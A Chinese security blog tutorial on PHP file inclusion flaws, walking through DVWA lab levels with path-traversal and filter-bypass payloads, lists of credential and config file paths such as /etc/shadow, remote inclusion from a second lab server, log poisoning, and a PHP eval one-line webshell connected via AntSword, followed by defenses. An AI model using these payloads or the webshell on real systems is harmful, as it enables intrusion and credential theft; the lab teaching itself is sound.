【网络安全的神秘世界】文件包含漏洞

🌝博客主页:泥菩萨

💖专栏:Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具

一、概述

文件包含:重复使用的函数写在文件里,需要使用某个函数时直接调用此文件,而无需再次编写

程序开发人员希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用恶意文件,造成文件包含漏洞

在通过php函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入

【包含】:加载和解析

二、分类

1️⃣本地文件包含

  • 用户对输入可控且无过滤

  • 可以利用相对路径或绝对路径读取系统

    1、绝对路径
    从根目录开始的完整路径

    2、相对路径
    相对于当前工作目录的路径

    3、什么情况下使用相对路径?
    在网页开发中

2️⃣远程文件包含

需要php.ini开启了allow_url_fopen和allow_url_include的配置,包含的文件是第三方服务器的文件

  • allow_url_fopen=on:(默认为on)允许从远程服务器或者网站检索数据
  • allow_url_include=on:(php 5.2之后默认为off)允许include/require远程文件

3️⃣远程与本地包含的区别

原理相同,但前者只能包含本地服务器上的文件,而后者可以包含远程服务器上的文件

三、php中的四种文件包含函数

require()
include()

require_once()
include_once()

include:在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行

require:出现错误的时候,会直接报错并退出程序的执行

require_once()和include_once(),与前两个的不同之处在于只包含一次

四、常见的参数

URL中如果出现了如下内容就可能存在文件包含漏洞

?page=
?file=
?home=

五、常见的敏感信息路径

windows系统

c:\boot.ini //查看系统版本

C:\windows\repaire\sam //存储windows系统初次安装的密码

c:\programFiles\mysql\my.ini //MySQL配置文件,内置root密码

c:\windows\php.ini //PHP配置文件

c:\windows\system32\inetsrc\MetaBase.xml //IIS配置文件

Linux/Unix系统

/etc/passwd //账户信息

/etc/shadow //账户密码文件
 
/usr/local/app/apache2/conf/http.conf //apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置

/usr/local/app/php5/lib/php.ini //PHP配置文件

/etc/httpd/conf/httpd.conf //apache配置文件

/etc/my.cnf //mySQL配置文件

六、如何发现文件包含漏洞

1、观察URL链接是否包括以下类似的关键字:**page/include/path/file/link/url **等,如果有则可能存在文件包含漏洞

2、观察在URL中,出现的赋值参数=后的内容是否为一个文件,如果是则可能存在文件包含漏洞

3、在关键字处或明显被文件赋值的参数处,尝试进行赋值。如:https://www.baidu.com 或 /etc/passwd

4、配合文件上传漏洞进行验证

七、DVWA演示

1、Low

file include模块,可以注意到有file1.php,file2.php,file3.php三个文件

查看源代码

尝试获取服务器上的文件内容,输入.../.../.../.../.../etc/passwd(多少个.../都行,越多越好)

.../返回上级目录,当返回到根目录时再.../还是根目录

2、Medium

查看源码发现,通过str_replace()进行了过滤

双写绕过

..../..../....etc/passwd
..././..././etc/passwd

3、High

限制'了page参数的开头必须是file或include.php

fnmatch()函数根据指定的模式来匹配文件名或字符串

语法:
fnmatch(pattern,string,flags)

pattern 必需,规定要检索的模式
string  必须,规定要检查的字符串或文件
flags   可选

可以用file://协议进行绕过

http://127.0.0.1/vulnerabilities/fi/?page=file:///etc/passwd

也可以上传一个有一句话木马的文件,叫:file5.php,再通过文件包含内容包含file5.php

4、Impossible

不存在漏洞,因为写了白名单,其他文件都不可能包含

八、远程文件包含

远程文件包含是指包含第三方服务器上的文件

此处我们使用DVWA的文件包含漏洞包含Upload-Loads中的文件

DVWA:靶机                        172.17.0.2 --> http://10.0.0.158:8089

Upload-labs:攻击者自己搭建的服务器  172.17.0.3 --> http://10.0.0.158:8088

同一台服务器,开放了不同的端口对外进行服务,因为底层是同一台服务器,所以不算远程文件包含

为什么上面这种情况还算远程文件?------因为这个ip是经过映射后的地址

通过 ip a 命令查看真实IP

DVWA IP: 172.17.0.2
Upload-Labs IP: 172.17.0.3

把DVWA的安全级别改为【LOW】

新建一句话木马文件info.php

upload-labs靶场禁用js后上传info.txt一句话木马脚本

粘贴图像连接后访问

打开DVWA靶场的【File Inclusion】模块,访问:

10.0.0.158:8089/vulnerabilities/fi/?page=http://10.0.0.158:8088/upload/info.php

实际上这个时候包含的是info.php被解析后的结果了也就是upload的php版本信息,可我们想要的是dvwa的php版本信息

我们重新上传info.php把后缀名改为txt

右击------>新建标签页打开图像,查看

再去DVWA靶场访问就会解析dvwa靶场的phpinfo信息

10.0.0.158:8089/vulnerabilities/fi/?page=http://10.0.0.158:8088/upload/info.txt

也可以通过蚁剑进行连接

F12打开控制台,获取cookie

打开蚁剑,填写dvwa靶场链接

设置cookie值,测试一下,成功

九、文件包含getshell

1、中间件日志包含绕过

网站本身没有上传点,又有安全设备,就可以使用中间件日志包含绕过

在url后面添加一句话木马,无论访问是否成功,网站的web日志会记录下来

DVWA中,apache2日志文件路径为:/var/log/apache2.access.log

包含日志文件,需要先对文件和目录添加访问权限,让web端有权限去访问

root@c1f28c3146d7# chmod 755 /var/log/apache2
root@c1f28c3146d7# chmod 644 access.log

修改完权限后,访问

http://10.0.0.158:8089/vulnerabilities/fi/?page=<?php phpinfo();?>

查看日志文件,发现一句话木马被浏览器进行url编码了

cd /var/log/apache2

tail access.log

使用burp抓包进行修改,将编码字符改为原字符后放包

再次查看日志,写入了完整的一句话木马

去前端dvwa靶场,包含这个日志文件

http://10.0.0.158:8089/vulnerabilities/fi/?page=/var/log/apache2/access.log

之后使用同样的方式写入一句话木马<?php @eval($_POST['a']);?>后,用蚁剑进行连接

用蚁剑连接时需要加上cookie

2、配合文件上传getshell

攻击思路:

1、制作图片马
2、上传图片马
3、以文件包含漏洞来执行图片的php代码

在dvwa的File Upload模块上传图片码,上传成功,获得上传路径

利用文件包含访问图片码,直接在URL page=后面输入返回的上传路径即可

使用蚁剑进行连接,输入地址:

10.0.0.158:8089/vulnerabilities/fi/?page=../../hackable/uploads/1.png

由于文件包含需要登录DVWA,在未登录的状态下,会导致连接不成功,可以直接把已经登录的Cookie信息在编辑shell配置添加到Header头里,这样就可以了

在已经登录DVWA页面,按F12键,获取Cookie

连接成功!

十、文件包含漏洞防御

1、设置白名单

2、过滤危险字符(.../、http)

3、设置文件目录权限

4、关闭危险配置(设置allow_url_include和allow_url_fopen为关闭)

5、严格检查include类的文件包含函数中的参数是否外界可控

相关推荐
凡人的AI工具箱10 分钟前
40分钟学 Go 语言高并发:【实战】并发安全的配置管理器
开发语言·网络·后端·安全·golang
肾透侧视攻城狮21 分钟前
网络空间安全之一个WH的超前沿全栈技术深入学习之路(11)——实战之DNMAP 分布式集群执行大量扫描任务:就怕你学成黑客啦!
分布式·学习·安全·web安全·网络安全·安全威胁分析·可信计算技术
sky_feiyu8 小时前
HTTP超文本协议
网络·网络协议·web安全·http
44漏洞观察员11 小时前
windows实战-wordpress——玄机靶场
服务器·windows·web安全·网络安全·安全威胁分析
.Ayang11 小时前
微服务介绍
网络·安全·网络安全·微服务·云原生·架构·安全架构
网络安全-老纪12 小时前
CHIMA网络安全攻防大赛经验分享
安全·web安全
网安墨雨12 小时前
网络安全笔记
网络·笔记·web安全
44漏洞观察员13 小时前
linux实战-黑链——玄机靶场
linux·运维·服务器·web安全·网络安全
EasyNVR14 小时前
NVR管理平台EasyNVR多品牌NVR管理工具的流媒体视频融合与汇聚管理方案
大数据·网络·安全·音视频·监控·视频监控
hackeroink16 小时前
想自学成黑客(白帽子),零基础小白如何自学黑客(网络安全)?
网络·安全·web安全·网络安全·黑客·编程·黑客技术